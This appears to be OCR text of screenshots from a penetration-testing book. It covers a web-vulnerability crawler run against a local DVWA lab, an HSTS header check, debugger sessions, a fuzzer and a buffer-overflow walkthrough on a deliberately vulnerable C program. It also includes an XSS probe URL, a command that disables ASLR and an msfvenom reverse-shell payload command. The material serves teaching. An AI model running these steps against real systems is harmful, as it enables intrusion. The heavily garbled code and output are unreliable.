450 self.logger.log("posted payload is %s "%(str(payload)),'crawler info')
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&« c @ @ 127.0.0.1 80% ) | e w
4 Inject Crawler
&+ CRAWL Project Name
Seed URLs
Allowed Protocols H'I'I'P H'I'FPS
Allowed Extensions asp, aspx, cfm, cfml, htm, html, jhtml, jsp, php. php3, php4, phps, phtm,
phtmil, pl, py. shtm, shtml, txt, xht, xhtm, xhtml, xml
Consider Only Textareas Checkboxeund Radios Selev:ts InputTags
Exclude these fields csrftoken, csrfmiddlewaretoken
Authentication Information of web application to be scanned
Login URL
Logout URL
Field name for Usemame
Username admin
Field name for Password
Password mypassword
Additional Parameters
195 def process_form_action_url(self,curr_url, url):
196 self.check_and_add_to_visit(curr_url,url)
197
198 url = urljoin(str{curr_url),url)
199 url = Urlfurl)
208 url = Url{url.url)
201
282 if self.already_seen(url.url):
203 return Page.objects.get(URL = url.url, auth_visited = self.auth, project = self.project)
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147 def check_and_add to_visit(self, curr_url,url):

148 url = urljoin{str(curr_url),url)

149 self.logger.log("Found and checking the URL: %s" % (url), 'crawler_info')
150 url = Urlfurl)

151 if self.is_url_in_scope(url.get_domain()):

152 if self.is_extension_allowed(url.get_extension()):

153 # print "|tExtension Allowed"

154

155 if self.is_protocol_allowed(url.get_protocol()):

156 # print "|tProtocol Allowed"

157

158 if not self.already_seen(url.url):

159 # print "|tAdding %s" ¥ (url.url)

160 self.logger.log("Adding the URL and marking it as unvisited: %s"
161 % (url.url), ‘'crawler_info')

162 with open(REPORT_FILE1, 'a') f:

163 f.writelines("url found %s \n" % (url.url))

164

165 page = Page()

166 page.URL = url.url

167 page.project = self.project

168 page.page_found on = self.current_visiting.URL

169 page.auth_visited = self.auth

170 page.save()

139 def already seen(self, url):

140 """Checks if the URL is already visited or added"""

141

142 if Page.objects.filter(URL = url, auth_visited=self.auth, project=self.project).count():
143 return True

144 return False

451 start_urls = self.start_url.split(',")
452 16 | for start_url in start_urls:

453 if not szelf.already_seen(start_url):

454 page = Page()

455 page.URL = start_url

456 page.preject = self.project

457 page.auth_visited = self.auth

458 page.save()

459

460 17 while self.there_are_pages_to_crawl()}: 18

461 > self.current_visiting = self.get_a_page_to_visit()

452 if (self.auth==False) or (self.auth==True and self.current_wvisiting.URLI=self.logout_url):

463 try:

4654 self.logger.log("Visiting URL: %s with auth status: %s" %

465 (self.current_visiting.URL, str{self.auth)), 'crawler_info')

466

467 if self.auth==True:

468 zelf.logger.log("auth= true and username field : %s and username value is : %s: "%
(self.username_fleld,self.username), " crawler_info')

469

478

471 @ self.current_page_response = ss.get(self.current_visiting.URL,data=payload,cookies=cookies)

472 for resp in self.current_page_response.history:

473 self.logger.log{ "Response code auth true produced is ¥s" ¥(str(resp.status_code)), 'Crawler')

474 20 if (resp.status_code == 362) or (resp.status_code == 301) or (resp.status_code == 383) :

475 / self.check_and_add_to_wisit(self.current_visiting.URL,self.current_page_response.url)

476 zelf.current_page_response = ss.get(self.current_visiting.URL,allow_redirects=False)

477 self.logger.log(“posted again with auth= true on url ¥s: "% @
{self.current_visiting.URL), 'crawler_info') .

478

479 else:

4808 self.current_page_response = get{self.current_visiting.URL}

481 for resp in self.current_page_response.history:

482 self.logger.log( "Response code produced is %s" %(str(resp.status_code)), 'Crawler')
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176 def there_are_pages_to_crawl(self):

177 """Return True if there are unvisited pages"""

178

179 if Page.objects.filter(visited = False, project = self.project, auth_visited = self.auth).count():
180 return True

181 return False

184 [HTE: a_page_to_visit(self):

185 """Return URL of an unvisited page"

186

187 return Page.objects.filter(visited = False, project=self.project, auth_visited = self.auth)[0]
184 [E#E: a_page_to_visit(self):

185 """Return URL of an unvisited page"

186

187 return Page.objects.filter(visited = False, project=self.project, auth_visited = self.auth)[0]

184 FE@FE: a_page_to_visit(self):

185 """Return URL of an unvisited page"""
186
187 return Page.objects.filter(visited = False, project=self.project, auth visited = self.auth)[0]
483 if (resp.status_code == 362) or (resp.status_code == 381) or (resp.status_code == 303)
484 self.check_and_add_to_wvisit{self.current_visiting.URL,self.current_page_response.url)
485 self.current_page_response = get{self.current_visiting.URL,allow_redirects=False)
486 except:
487 e self.logger.log("Error occurred while visiting URL: %s with auth status: %s"™ %
488 .%\ (self.current_visiting.URL, str(self.auth)), 'error')
489 - page.objects.filter(URL = self. current, \rlsltlng URL, auth_visited=self.auth, project=self.project).update
(visited = True, content = "', status_code = '8', connection_details = ")
continue P
491 soup = BeautifulSoup(self.current_page_response.content, htnl5lib") l@a
492 base_url = Mone ~
493 Iéal bases = soup.findALL{ base' href=True)
494 =" if bases:
495 base = bases[o]
496 base_url = hase[ href']
497 @, hrefs = soup.findAlL('a', href=True)
498 ~) feor href in hrefs:
499 Af href["href' J[@8:1].find("#")==-1 and href['href'].flnd(" javascript:voild{a -1t
588 “\ if base_ url:
501 “self.check_and_add_to_visit(base_url,href['href']) sinitiall L tart u
582 \2:‘]") els
583 self.check_and_add_to_visit(self.current_visiting.URL href['href']) # i lled with
t urt
584
585 Hsear
506 hrefs = soup fl.ndAU.{ frame', src=True)
507 for href in hrefs:
588 LF href[src'][0:1].find("#" )==-1 and href['src'].Find("javascriptivoid(e)")==-1
589 self. cher_k and add to_visit({self.current_visiting.URL,href[ src”])
518
511 #ftnd iframe ta .
512 hrefs = soup. flndML( lf ame', src=True)
513 for href in hrefs: 30
514 self.check_and_add_to_visit{self.current_visiting.URL, href['src'])
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515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
5360
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550

options = soup.findALLl( option’, value=True)
31 for uptlun in options:
'/ im option[ 'value'

1:
self.check_and_add_to_wisit(self.current_visiting.URL,option['value’])

forms = suup Flndﬁll[ farn ]
for form in forms:
action_url = self.current_visiting.URL
if form.has_key('action'):
action_url = form["action” ]
Af action_url.strip() ==
aetien_url = self. current _wisiting.URL
action_page = self.process_form_action_url({self.current_visiting.URL,action_url}

self.add_other urls{sclf current _visiting.URL str{sclf eurrent_page_response.content)) (::)
# Lets create th ind check th

if not action page
action = '

else: \
action = action_page.URL \

form_name = 'Not specified’ |
if form.has_key('name'):

form_name = form[ 'name'] H
if form.has_key('id'): |

form_name = form['id']
form_method = 'GET' !
if form.has_key('method"}: \\\"/j
form_method = form['method'].upper()

form_content = str(form)

#populate Field_list
input_: fleld ltst = ""
soup = Beautifulsoup(forn content,"htmls1ib") 35
input typ

lnputs = saup findALL( "Lnput')

def add other urls(self, curr_url,string):

string=string.replace(" ","")

self.find url fn('window\.open\(',curr_url,string,12)

self.find url _fn('\.load\(',curr_url,string,6)

self.find url fn('\.location\.assign\(',curr_url,string,17)

self.find url eq('\.href="',curr_url,string,s)
self.find url eq('\.action=',curr _url,string,8)
self.find url eq('\.location="',curr_url,string,10)
self.find url eq('\.src=",curr_url,string,s)
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551

for inputfield im inputs:

552 if inputfield.has_key(’'name') and inputfield.has_key('type'):

553 input_field_Llist = input_field_list + inputfield['name’] + "," + inputfield['type'] + ","

554 elif inputfield.has_key("id') and inputfield.has_key( type’'

555 input_field_list = input_field_1list + inputfield['id'] + "," + inputfield['type'] + ",

556 else :

557 if inputfield.has_key( type'):

558 input_type = inputfield['type']

559 input_fleld_list = input_field_list+inputfleld['type'] + "," + inputfield['value'] + ","

568

561 textareas = soup.findAlLl('textarea')

562 for textareafield in textareas:

563 if textareafield.has_key( name'):

564 input_field_list = input_field_list + textareafield['name'] + ", textarea,”

565 selects = soup.findAll{ select")

566 for selectfield in selects:

56T if selectfield.has_key( 'name’):

568 input_field_list = input_field list + selectfield['name'] + ",select,"|

569 labels = soup.findAll( Llabel")

578 for labelfield in labels:

571 if labelfield.has_key( for'):

572 input_field_list = input_field_list + Llabelfield['for'] + ", label,”

573

574 existing_inputlist = Form.objects.filter(project = self.project,input_field_list = input_field_ list,
auth_visited = self.auth)

575

576 if len(existing_inputlist)!

577 continue

578 f = Form()

579 f.project = self.project

588 f.form_found_sn = self.current_visiting.URL

581 f.form_action = action 40

582 f.form_content form_content

583 f.form_methoed = form_method

584 f.form_name = form_name

585 f.auth_visited = self.auth

586 f.input_field_list = input_field_list

587 f.save()

588 dis={}

589 dis["project”]=self.project.project_name

598 dis["form_found on"] = self.current_visiting.URL

591 dis["form_action”] = action

592 dis["form_content"] = form_content

593 | dis["form_method”™] = form_method

594 41 dis["form_name”] = form_name

595 dis["auth_visited"] = self.auth

596 dis["input_field_list"] = input_field_list

597 / f=open("results/discovered"+str{self.project)+".son","a")

598 Json.dump(dis, f,sort_keys=True, indent=2)

599 f.close()

508 self.logger.log("Found form on %s with action %s with auth status: %s" %

6581 (self.current_visiting.URL, form_method, str{self.auth)), 'crawler_info')

682 try:

663 page.objects. filter(URL = self.current_visiting.URL, auth_visited=self.auth, project=self.project).update{visited =
True,

504 content = self.current_page_response.content,

605 status_code = self.current_page_response.status_code,

606 connection_details = str{self.current_page_response.headers).replace('"", "'"}))

687

608 self.logger.leg("Finished processing the URL: %s with auth status: %s" %

589 (self.current_visiting.URL, str{self.auth}), 'crawler_info')

618 except:

611 Page.objects. filter(URL = self.current_visiting.URL, auth_visited=self.auth, project=self.project).update{visited

626
627

content = "Cant be displayed 1",
status_cede = self.current_page_response.status_cede,
connection_details = strself.current_page_response.headers).replace('"", "'")) 43

self.logger.leg("Finished processing the URL: %s with auth status: %s" %
(self.current_visiting.URL, str{self.auth}), 'crawler_info')
Af self.auth==True:
with open(REPORT_FILE, 'a') £:
f.close()|

if not self.auth:
self.start{auth = True)

Project.objects.filter(project_name =

self.project.project_name).update(status = "Finished")
625 except:

log=Logger ()
log.log("some error occurred in crawler”, 'crawler_info')
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LGELGLGELULELRATH $ python manage.py syncdb
Creating tables ...

Creating table auth_permission

Creating table auth_group_permissions
Creating table auth_group

Creating table auth_user_groups

Creating table auth_user_user_permissions
Creating table auth_user

Creating table django_content_type
Creating table django_session

Creating table django_site

Creating table django_admin_log

Creating table xtreme_server_blindproject
Creating table xtreme_server_project
Creating table xtreme_server_page

Creating table xtreme_server_form

Creating table xtreme_server_inputfield
Creating table xtreme_server_wvulnerability
Creating table xtreme_server_settings
Creating table xtreme server_ learntmodel

You just installed Django's auth system, which means you don't have any superusers defined.
Would you like to create one now? (yes/no): no

Installing custom SQL ...

Installing indexes ...

Installed @ object(s) from @ fixture(s)

khan@khanUbantu: $ python manage.py runserver 80808
Validating models...

@ errors found

December 83, 2018 - 06:33:53

Django version 1.6, using settings 'XtremeWebAPP.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.
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127.0.0.1

Project Information

Project Name

Seed URLs

Allowed Protocols

Allowed Extensions

Consider Only

Exclude these fields

B s0%

DVWA _test]
http:/127.0.0.1 fdvwa

H'I'[P HT[PS

asp, aspx, cfm, cfmi, htm, htmi, jhtml, jsp, php, php3, php4, phps, phtm,

phtml, pl. py. shtm, shtml, txt, xht, xhtm, <html, xml

Textdreas CheckboxesandRadios Selects \nputTags

csritoken, csrfmiddlewaretoken

Authentication Information of web application to be scanned

Login URL

Logout URL

http://127.0.0.1/dvwallogin.php

http://127.0.0.1/dvwaslogout.php

CSRF token

Field name for Username username
Usemarme admin
Field name for Password password
Password password
Additional Parameters nonemnone
Your Host name localhost

QEFZUKGdyX7zMOkilfisR2ae2tuc\WaYs

Remember these settings

~|Are you running this scan as a parallel scan ?

© start Crawling
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+ CRAWL

© 127.0.0.1

Details - DVWA_test

2 Donel You just started a new scan! You can track the progress of your scan here. Go to the overview section for details of all the proje]

Project Configuration

80% .. w Search

Project Mame

View Report

Start URL

Allowed Protocols
Allowed Extensions
Consider Only

Exclude Fields

DVWA_test
http:f/127.0.0.1/dvwa

http, https

asp, aspx, cfm, cfml, htm, html, jhtml, jsp, php, php3, php4, phpS, phtm, phtml, pl, py, shtm, shtml, txt,
textareas, checkboxes, selects, inputs

csrftoken, csrfmiddlewaretoken

Scan Progress

Status

Finished

Mo. of URLs found No. of URLs processed

30 30

© Recent
@ Home
[m Desktop

discovereddvwa5. discoveredDvwa_ discoveredDvwa_ discoveredDVWA Pages_DVWA_test
json 007.json 008.json test.json

r results
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10 M

11
12
S|

"auth_visited”: true,

"form_action": "http://127.0.0.1/dvwa/login.php",

"form_content”: "<form action=\"login.php\" method=\"post\">\n\t\n\t<fieldset>\n\n\t\t\t<label for=\"user\">Username</label> <input class=
\"loginInput\" name=\"username\" size=\"20\" type=\"text\"/><br/>\n\t\n\t\t\t\n\t\t\t<label for=\"pass\">Password</label> <input
autocomplete=\"off\" class=\"loginInput\" name=\"password\" size=\"20\" type=\"password\"/><br/>\n\t\t\t\n\t\t\t\n\t\t\t<p class=\"submit

\"><input name=\"Login\" type=\"submit\" value=\"Login\"/></p>\n\n\t</fieldset>\n\n\t</form",

14 “"form_found_on": "http://127.0.0.1/dvwa/login.php",

15 “"form_method": "POST",

16 “"form_name": "Not specified"”,

17 "input_field_list": "username,text,password,password,Login,submit,user,label,pass,label,",

18 “project": "DVWA_test"

19 H{

20 "auth_visited": true,

21 “"form_action": "http://127.0.0.1/dvwa/setup.php”,

22 “form_content”: "<form action=\"#\" method=\"post\">\n\t\t<input name=\"create_db\" type=\"submit\" value=\"Create / Reset Database\"/>\n

\t</form=",

23  "form_found_on": "http://127.0.0.1/dvwa/setup.php",

24 “"form_method": "POST",

25 “form_name": "Not specified”,

26 "input_field_list": "create_db,submit,",

27 "project": "DVWA_test"

28

29 "auth_visited”: true,

30 “"form_action": "http://127.0.0.1/dvwa/vulnerabilities/brute/",

31 “"form_content”: "<form action=\"#\" method=\"GET\">\n\t\t\tUsername:<br/><input name=\"username\" type=\"text\"/><br/>\n\t\t

32
33|
34
B
36
ag
38
39
40

\tPassword:<br/><input autocomplete=\"off\" name=\"password\" type=\"password\"/><br/>\n\t\t\t<input name=\"Login\" type=\"submit\" value=
\"Login\"/>\n\t\t</form>",

"form_found_on": "http://127.0.0.1/dvwa/vulnerabilities/brute/",

"form_method": "GET",

"form_name": "Not specified",

"input_field_list": "username,text,password,password,Login,submit,",

"project”: "DVWA_test"

"auth_visited”: true,

"form_action": "http://127.0.08.1/dvwa/vulnerabilities/exec/",

"form_content”: "<form action=\"#\" method=\"post\" name=\"ping\">\n\t\t\t<input name=\"ip\" size=\"30\" type=\"text\"/>\n\t\t\t<input
name=\"submit\" type=\"submit\" value=\"submit\"/>\n\t\t</form>",
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1http://127.0.08.1/dvwa

2 http://127. .1/dvwa/flogin.php
3 http://127. .1/dvwa/f

4 http://127. .1/dvwa/login.php
5 http://127. .1/dvwa

6 http://127. .1/dvwaf

7 http://127.
8 http://127.
9 http://127.
10 http://127.
11 http://127.
12 http://127.
13 http://127.
14 http://127.
15 http://127.
16 http://127.
17 http://127.
18 http://127.
19 http://127.
20 http://127.
21 http://127.
22 http://127.
23 http://127.
24 http://127.
25 http://127.
26 http://127.
27 http://127.
28 http://127.
29 http://127.
30 http://127.

.1/dvwafinstructions.php

.1/dvwa/setup.php
.1/dvwafvulnerabilities/brute/
.1/dvwafvulnerabilitiesfexec/
.1/dvwafvulnerabilities/csrf/
.1/dvwafvulnerabilities/captcha/
.1/dvwafvulnerabilities/fi/?page=include.php
.1/dvwafvulnerabilities/sqli/
.1/dvwafvulnerabilities/sqli_blind/
.1/dvwafvulnerabilities/upload/
.1/dvwafvulnerabilities/xss_r/
.1/dvwafvulnerabilities/xss_s/
.1/dvwafsecurity.php

.1/dvwa/phpinfo.php

.1/dvwafabout.php

.1/dvwa/logout.php
.1/dvwafinstructions.php?doc=readme
.1/dvwafinstructions.php?doc=changelog
.1/dvwafinstructions.php?doc=copying
.1/dvwafinstructions.php?doc=PHPIDS-1license
.1/dvwa/security.php?phpids=on
.1/dvwafsecurity.php?test=%22><script=eval(window.name)</script=>
.1/dvwa/ids_log.php
.1/dvwafsecurity.php?phpids=off

QGG9@QGGQGGQGGGGQGQQGGGGQGQQG@
GGGGGGGGGGGGGGGGGGGGGGGGGGGGG@

root@khanUbantu: /home/khan/Penetration_testing_advance/HSTS# python2.7 -W ignore HSTS_detector.py

Headers set are :

Date:Wed, 14 Nov 2018 20:48:10 GMT
Server:Apachef2.4.18 (Ubuntu)
Expires:Tue, 23 Jun 2889 12:00:00 GMT
Cache-Control:no-cache, must-revalidate
Pragma:no-cache

Vary:Accept-Encoding
Content-Encoding:gzip
Content-Length:592
Keep-Alive:timeout=5, max=98
Connection:Keep-Alive
Content-Type:text/html;charset=utf-8

Strict-Transport-Security is missing !
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Chapter 11: Reverse Engineering Linux
Applications

@ 3 3T e
.| Registers
Bookmarks | Registers
Pata Dump B Stack
E3 700-0x0000000000000000 |4
T ol Dinbonasr Cromr o
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80067 The

80087 The

80007 Tbe
80007 fhe

00087 The

80087 The

00087 The

80007 Tbe
808687 fhe

80087 The

rdi =
rsp

60060080
60060080
60060080
60060080
60060060 :
600600A0:
0960060
0960060

60960080
60960080

0860080

= 06667 be:

00007 be:
80067 Tbe:

00007 be:

80067 Tbe:

00007 fbe:
80067 Tbe:

00007 be:
80067 The:

00007 be:

00067 Tbe:
00007 be:
80087 The:

0x0000000000006000
= exee007ffedoblefdo

4b%aac3e
4b9aac33
4b9aac3B
4b9aac3b
4b9aacdl
4b9aacd2
4b9aac4b
4b9aacd8
4b9aacd9
4b9aacac
4b9aacd f
4b9aac53
4b9aacsa
4b9aacst
4b9aach3
4b9aacks
4b9aacha
4b9aac7l
4b9aac7d
4b9aac7?
4b9aacBl
4b9aacB7
4b9aacB8

0040000077
8400016 |02
8400020 |49
8400036 |00

66408640

66408050

80408660

80408676

0900080 05

80400090

80400020

89408000

]

(5]

50

4

0
e6
das
08

5]
3f
84
39

(1]

00

22

53
18

00
fe

L]
63

1]

edb - /home/khan/edb-debugger/build/edb [1945]

22

o0

L]
22

80 0.

80 08

1d-2.23.50: No Analysis Found

Bt & 4) c608

.~ Registers
call 1d-2.23.s0! dl start 9600E0ERBEARBE08
mov r12, rax 06008060000AB0A8
mov eax, [rel 0x7fbedbbcfc?8] 0800806G8ADABEEE
pop rdx 06606006060000000
lea rsp, [rsp+rax*8] 86667 FfedablOfde
sub edx, eax £666EEBABABABEAD
SRR £800006860800600
o e, 6006006866000000
0666008000000600
mov r13, rsp
and rsp, OxfFFFffffrfffffro ggggggggggﬁggggg
mov rdi, [rel 0x7fbedbbdo0d0] bR
lea rex, [rl3+rdx*8+0x18] bR
EEC I 800000000090600
xor ebp, ebp 0600806000000000
call 1d-2.23.s0! dl_init £606066080090800
lea rdx, [rel 8x7fbedbIbaabld]
now et 113 06007 fbedbBaac3e
p b C ook
lea rax, [rel 0x77bedbbdfcd] H Soe
t

— o 50 Fs o000

) 0000

[

A

Bookmarks | Registers

stack
06087 ffe:d9b10fde
06087 ffe:d9b10fd8
06087 ffe:d9bl0fed
06087 ffe:d9b16fe8
06087 ffe:d9b16f 0
06087 ffe:d9b16f 8
00067 ffe:d3b11008
00067 ffe:d3b11008
00067 ffe:d3b11010
00007 ffe:d3b11018
00007 ffe:d9b11020
00067 ffe:d0b11628
80067 ffe:d0b11030
80067 ffe:dob11638
80067 ffe:dob11848

0800680000060661
88007ffeddbl3led
6800080800000060
88007 feddb1326F
88007ffeddbl32la
08007 feddb1322
00007 fed9b13246
08007 fed9b13258
00007 fed9b13268
00007 Ffeddb13Zad
000077fed9b132b6
8080877feddbl32cs
680877feddbl32f6
88007Ffeddbl33ea
88087 feddbl331n

1o, . . |ASCIT
ASCIT
ASCIT
ASCIT
ASCIT
ASCIT
ASCIT
ASCII
ASCII
ASCII
ASCIT
ASCIT
ASCIT

"XDG_VTNR=7"
“LC PAPER=ar AE.UTF-8"
“LC_ADDRESS=ar AE.UTF-B'
"XDG_SESSION_ID=c2"

"LC_MONETARY=ar_AE.UTF-
"CLUTTER_IM MODULE=xim"
SESSION=ubuntu”

"TERM=xterm-256colo
"VTE_VERSION=4205"
“XDG_MENU_PREFIX=gnome-

“XDG_GREETER DATA DIR=/var,

“GPG_AGENT_INFO=/home/khan/.gnupa/S.gpg-agent @

/lightdn-data/khan"

/home/khan/edb -debugger/build/eds"

GNU gdb (Ubuntu 7.11.1-0ubuntul~16.5) 7.11.1

Copyright (C) 2016 Free Software Foundation,
GNU GPL version

License GPLv3+:
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.
"show warranty" for details.

and

Inc

3 or later <http:

Type

This GDB was configured as "x86_64-1linux-gnu"

Type

"show configuration”
For bug reporting instructions,

for configuration

details.
please see:

<http://www.gnu.org/software/gdb/bugs/=.

Find the GDB manual and other documentation

<http://www.gnu.org/software/gdb/documentation/=.
For help, type "help".

apropos word"

to search for commands related to

"word".

//anu.org/licensesfgpl.html>

"show copying"

resources online at:
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buff

1 #!/usr/bin/python
2 import subprocess as sp

3/import time

4|def fuzz():

5 i

6 while 1:

7 fuzz str

8 p=sp.Popen|( +fuz
9 out=p.communicate()[0]
10 output=out.split("\n")
11 if "what" in output[@]
12 print(output[o
13 print("Continu
14 i=i+l

1= else:

16 print(output)
17 print("Applicat
18 break

19 time.sleep(2)

20

21 fuzz()

z str+" |

J+"\n"+output[1]+"\n
Length :

e Fuzzing :

+str(i))
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Application crast

at input length : 421

int

=
SO~ AW

11 }
12

13 int
14

15

16 }

1 #include <stdio.h=>
2 #include <unistd.h=

vuln() {

char arr[408];

int return_status;
printf("What's your name?\n");

return_status = read(®, arr, 4¢

printf("Hey %s", arr);
return 0;

main(int argc, char *argv[]) {
vuln();
return o;

0);
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: # . /buff
What's your n:

root@thp3: /var/www/html/bo
File Edit View Search Terminal Help
: # ]

No such fi

ithub.co

edb
File View Debug Plugins Options Help
@ 3?} @ {'3 1 No Analysis Found For This Region

.| Registers
[ .
Attach To Process (]

Filter |buff hx] Only Show Entries For My UID
PID - uID Name

T

Data Dump ® Cancel + 0K |’7

| B | 0x0000000000000000-0x0000000000000000 |
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edb - /var/www/html/bo/buff [S054]

File View Debug Plugins Options Help

d = ey Lo ;

D o {l'} 1 No Analysis Found For T

POABATIIT: T7THO6O61[48 3d 80 T8 Ff T cmp rax, -0x1860 ~| Registers
BOBBTFFF: F7b06A6T |77 57 Jia Bx7EFFf7bO66CH DO FFFEFFFEFFFFTe0D
BO0OTFTT: 7006069 |f3 3 ret 700 eBBRTTTTF7bOGB6L
BOBRTFFT: F7b0GAGD|BF 1f 44 00 08 nop dword [rax+rax] 7Y AeRRERABBOOOO320
0007 F{T: 7006070 |41 54 push riz 70 0eaeERe0e00000E0
PORRTFFT: F7b06ET2 |55 push rbp FOF EEBRTFFFFFfdedB
00007 F{T: 7006073 |49 89 d4 mov rl2, rdx . [hr eeeeTFFTFFFfdife
PORRTFFT: 7006876 |53 push rbx 0T eeBRTFFFFffdesd
00007 FFT: 7006077 |48 89 f5 mov rbp, rsi | |f01 60EeE08080000000
PORRTFFT: 7006672 |89 fb mov ebx, edi |77 006REEE0E00D0RE3
0BT F{T: 700607 C |48 83 ec 10 sub rsp, 0x10 |0 80E87FFTf7abfebd
BOOBTFFT: 7b0GAEE |eB cb be B1 08 call Bx7ffff7b2150 710 AeEREBAEBOBBO3IC
00007 FFT: 7006085 |4c B e2 mov rdx, rl2 711 0888080000000246
BOOBTFTT: T7DO6AEE |41 89 O mov réd, eax |7 88BB5555555545c0
AARATFff: fTRARARK AR RA ee mowv rsi. rho b’ R peRe7 FEfffffedfo

Interrupted SYSCALL: read(0,0x00007fffffffde50,0x0000000000000320) e

Syscall will be restarted on next step/run I

rax = fFfffffffffffeon 4]

Register Tree  Bookmarks | Re

Dump

0x00007ffff7ale000-0x00007fff7bcfO00

0ORa7TTf:f7a3102e|72 65 61 64 5 65 78 69 74 08 73 79 73 5T 73 69 |read exit.sys si
0OR87TTf:T7a3103e|67 61 62 62 72 65 76 B0 70 74 68 72 65 61 64 5T |gabbrev.pthread_
0O0a7TTf:f7a31l04e|63 6T 6e 64 5T 62 72 6T 61 64 63 61 73 74 00 66 |cond broadcast.f
08087 fff:f7a3105e |63 68 6T 77 6e 61 74 B0 73 74 72 74 6T 66 36 34 |chownat.strtofed
0O0a7TTf:f7a3106e|00 6c 64 65 78 70 6c B0 78 6f 73 69 78 5T 73 70|.ldexpl.posix sp

Application Exited Q

m The debugged application exited normally with exit code 0.
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File View Debug

Plugins Options Help

O Hw & B

=P 8005555:
0808555
00005555:
BB8085555:555
0808555 55
BB085555: 55554

5555471e
5555471f

555 20

possible jump from @x800055555555472c

return to 8x6161616161616161

[Data Dump

c3
55
48
48
89
48

89
83
7d
89

No Analysis Found For This Region

e5
ec 18
fc
75 f@

ret

edb - /var/www/html/bo/buff [5754]

.| Registers

push rbp 0806000000000000

maov
sub
mov
mov

=]

rbp, rsp

rsp, 0x18
[rbp-4], edi
[rbp-0x107, r:™

Register Tree =~ Bookmarks

0x0000555555554000-0x0000555555555000

Registers

[196 ]




top of stack

’

Stack Pointer >
Locals of
DrawLine
Frame Pointer >
Return Address
Parameters for
DrawLine
[ Locals of
stack frame DrawSquare
for / |_Return Address
DrawSquare
subroutine Parameters for

DrawSquare

stack frame
for
DrawlLine
subroutine
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1 #include <stdio.h>

2 #include <unistd.h>

3

4 int vuln() {

5 char arr[400];

6 int return_status;

7 printf("What's your name?\n");
8 return_status = read(o, arr, 400);
9 printf("Hey %s", arr);

10 return 0;

11 }

12

13 int main(int argc, char *argv[]) {
14 vuln();

15 return ©;

16 }|

# ./bufferoverflow
What's your name?
test user
Hey test user

:~/bo# cat aaa | ./bufferoverflow
hat's your name?
ation fault
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:~/bo# gdb . /bufferoverflow
GNU gdb ( an 7.12-6+bl) 7.12.0.201610087-git
Copyright (C) 2016 Free Software Foundation, Inc.

' > GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/q
This is free software: you are free to change and redistribute it.

gpl.html>

There is NO WARRANTY, to the extent permitted by law. Type "show copying”

and "show warranty" for details.

This GDB was configured as "x86 64-linux-gnu".

Type "show Cunflguratlun“ fur Cunflgurdtlun details.

For bug r €

<http: u.gnu.urg;auftwar

Find the GDB manual and oth documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/=.

For help, type "help".

Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bufferoverflow...(no debugging symbols found).
{gdb) run < aaa

Starting program: froot/bo/bufferoverflow < aaa

Nhat's your

Program received signal SIGSEGY, Segmentation fault.
Px@00055555555471e in wvuln ()

. .done.
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(gdb) info registers

rax
rbx
rcx
rdx
rsi
rdi
rbp
rsp
ra

r9

rle
ril
riz
rli3
rl4

UxY
Ox0
Ox0
Ox0
Bx5555555547dc
Bx7Tfff7dd3760

9x4141414141414141

Bx7Tffffffdfos
0x19e 414

Ox7Tffffffddfe
0x555555756402
0x555555756264
0x5555555545¢co
Ox7fffffffecon

93824992233436

140737351858016

ox7 T Tdfos

140737488346608
93824994337794
93824994337380
93824992232896

140737488347280

9x4141414141414141

Ox0
Ox0

e
e

Bx5555555547 1e Bx55555555471e <vuln+84=
Ox1loze6 [ PF IF RF ]

Bx33 51

Bx2b 43

0x0

Ox0

Ox0

(gdb) x %r9

Ox7fffffffddfe: 0x41414141

(gdb) x $rsi

Bx5555555547dc: 0x00000008

(gdb) x %$rle

Ox555555756402: Ox00000000

(gdb) x $rill

Ox555555756264: 0x41414141

(gdb) x %$riz

Bx5555555545cO tart=: Bx8949ed31
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:~/bo# locate pattern_create.rb
/Jusr/share/metasploit-framework/tools/exploit/pattern_create.rb

:~/bo# fusr/share/metasploit-framework/tools/exploit/pattern_create.rb
--length 508
AabBAalAazAa3AadhaSAabAaTAaBAa9Ab0Ab1Ab2Ab3AD4ADSAD6ADTADBADIACBACIAC2ZAC3ACAACSAC
6ACTACBACIAdOAdIAd2Ad3Ad4AdSAd6AdTAdBAdIADAe1Ae2Ae3Aed4Ae5AcbAeTAcBACOATOATIATZA
f3AT4ATSATEATTATBATIAQBAG1AG2Ag3AQ4AgSAgBAGTAGBAGIARBAN1ANZAR3AR4ARSANGAR7ARBARS
AiBALI1A1I2A13A14A15A16A17AIBAI9A]0A]1AI2AI3AJ4Aj5A]6A]7TA]BA]9AKOAKLAK2AK3AKSAKSAK
6AK7AKBAKIALOALIALZ2AL3AL4AL5AL6AL7ALBALIAMOAMIAMZAM3AMAAMSAMEAMTAMBAMIANBANLANZA
n3An4An3An6AN7ANBAN9A00A01A02A03A04A05A06A07A0BA09APOAP1AP2ZAP3APAARSAPBARTARPBAPY
AQOAQlAg2Ag3Ag4AgSAq

:~/bo# fusr/share/metasploit-framework/tools/exploit/pattern create.rb
--length 580 = unique

Reading symbols from ./bufferoverflow...(no debugging symbols found)...done.
{gdb) run < unique

Starting program: /root/bo/bufferoverflow =< unique

What's your name?

Program received signal SIGSEGY, Segmentation fault.
0x0080055555555471e in vuln ()

(gdb) x %rsp

Ox7Fffffffdf9s: ox6f41316T

(gdb) [§

:~/bo# fusr/share/metasploit-framework/tools/exploit/pattern offset.rb
--gquery olAo
* xact match at offset 42¢
[*] E t tch at offset 424

Program received signal SIGSEGY, Segmentation fTault.
Ox000R55555555471e in wvuln ()

{gdb) x %r9

Ox7fffffffdedo: 0x41414141

(gdb) x %$rsp

AxFTFfifffed78: 0x41414141
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:~/bo# sudo bash -c¢ 'echo "kernel.randomize va space = 0" >> /Jetc/sysct

L.conf'

kernel.random

kernel.randomiz _ =

kernel.randomize va_ space =
-/bo# cat /proc/sys

-/bo# ulimit -c unlimited
bo# ulimit -c
unlimited

: o# msfvenom -p linux/x64/shell_reverse_ tcp LHO5T=192.168.250.147 LP
ORT=4444 - \x00\x0a\x0d\x20" -f py

[-1 No platform was selected, choosing Msf::Module::Platform::Linux from the pay
load

[-1 No arch selecte electing arch: x64 from the payload
Found 1 compatibl ncoders

Attempting to encode payload with 1 iterations of x64/xor
x64/xor s d with size 119 (iteration=0)

x64/xor chosen with final size 119

Payload size: 119 bytes

